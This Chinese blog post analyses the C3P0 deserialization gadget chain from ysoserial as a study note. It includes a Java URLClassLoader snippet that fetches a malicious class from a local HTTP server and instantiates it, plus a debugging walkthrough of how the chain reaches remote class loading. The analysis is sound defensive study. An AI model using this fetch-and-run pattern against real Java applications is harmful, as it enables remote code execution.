0x01 前言
这个也算是老洞重谈了吧,之前就准备写的,疫情在家人变懒了,就一直没写,相关技术文章也很多,不是为了重复造轮子,只是加上了点自己的理解,留作学习笔记,有分析不好的地方,还望大佬们多多包含。
0x02 漏洞分析
01 一些小知识点
在分析漏洞之前,我想讲一些前置知识点,就是URLClassLoader加载远程恶意类,这个懂得大佬可以略过
首先要定义一个恶意类,如图
我们把这段代码复制出来,文件名就是类名,这个不用多说了,然后本地java编译为class字节码文件,这里有个细节,就是要把package这一行删除,不然得指定全限定类名才能找到恶意类执行
将这个恶意类放置到本地搭建的http服务器上,可以直接通过web访问到即可
然后编写一个URLClassLoader类加载器,加载远程类,代码如下
package mydemo.c3p0;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoaderStudy {
public static void main(String[] args) {
try {
URL url = new URL("http://127.0.0.1/test/jndi/");
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
Class<?> exec = Class.forName("Exec", true, classLoader);
exec.newInstance();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}
直接运行后即可加载远程恶意类
02 调试分析
了解到如何加载远程恶意类之后,我们就开始调试代码了,这里就直接使用了ysoserial自带的类进行调试了
先设置传入的参数为 http://127.0.0.1/test/jndi/:Exec
在com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject 和 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject 方法处打上断点
开启debug模式
前面就不用说了,对传入的参数进行分割赋值,然后通过反射的方式创建 PoolBackedDataSource 对象
创建对象之后,获取其父类的 connectionPoolDataSource 字段,继承关系如图
将子类的 connectionPoolDataSource 字段设置为 new PoolSource(className, url),跟入
进入到了自定义的类中,调用构造方法对 className 和 url 赋值,这里要注意一个点,就是 PoolSource 类实现了 ConnectionPoolDataSource 和 Referenceable 接口,但是这两个接口都是没有实现 Serializable 接口,所以PoolSource 是不能被序列化和反序列化的
代码继续往下走
返回的 b 是 PoolBackedDataSource 对象,序列化的也就是 PoolBackedDataSource 对象,由于 PoolBackedDataSource 对象中没有实现 writeObject 和 readObject 方法,所以会调用父类的 writeObject 和 readObject,如图
由于 connectionPoolDataSource 字段没为 PoolSource 没有实现序列化接口,所以无法直接 writeObject,这里会触发异常,进入catch方法
在catch方法中实例化了一个 ReferenceIndirector 对象,然后调用 ReferenceIndirector 对象的 indirectForm 方法,我们跟入
调用PoolSource对象的getReference方法,跟入
可以看到,在 getReference 方法中实例化了 Reference 对象,将恶意的 className 和 url 作为参数传入构造方法
然后回到 indirectForm 方法
这里注意,是重新new了一个 ReferenceIndirector.ReferenceSerialized 对象,跟入
构造方法中对this.reference进行了赋值,赋值为前面实例化的Reference对象,这里可以看到,ReferenceSerialized 实现了 IndirectlySerialized 接口,我们再看一下该接口
可以看到 IndirectlySerialized 接口实现了 Serializable 接口,那么也就说明,ReferenceSerialized 是可以被序列化与反序列化的,这也就解决了前面 PoolSource 无法被序列化的问题
序列化完之后就是反序列化了,跟入
可以看到,先是将前面序列化写入的对象反序列化还原回来,然后判断是否实现了 IndirectlySerialized 接口,很显然是满足的
进入if代码块,先是类型转换,然后调用getObject方法,跟入
我们主要关注最后一行,调用了 ReferenceableUtils.referenceToObject 方法,传入恶意的 Reference 对象,跟入
看到这里应该都明白了吧,就是通过 URLClassLoader 去加载外部恶意类实例化执行的,这部分就没太多好说的了
0x03 总结
本次漏洞说难不难,说简单也不简单,因为巧妙地利用了无法被序列化报错进入了catch代码块,重新进行了 封装,然后一步一步触发,还是比较巧妙的,值得学习。
0x04 参考文章
https://xz.aliyun.com/t/10273 (C3P0反序列化链浅析)
原文始发于微信公众号(伟盾网络安全):ysoserial分析之C3P0利用链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论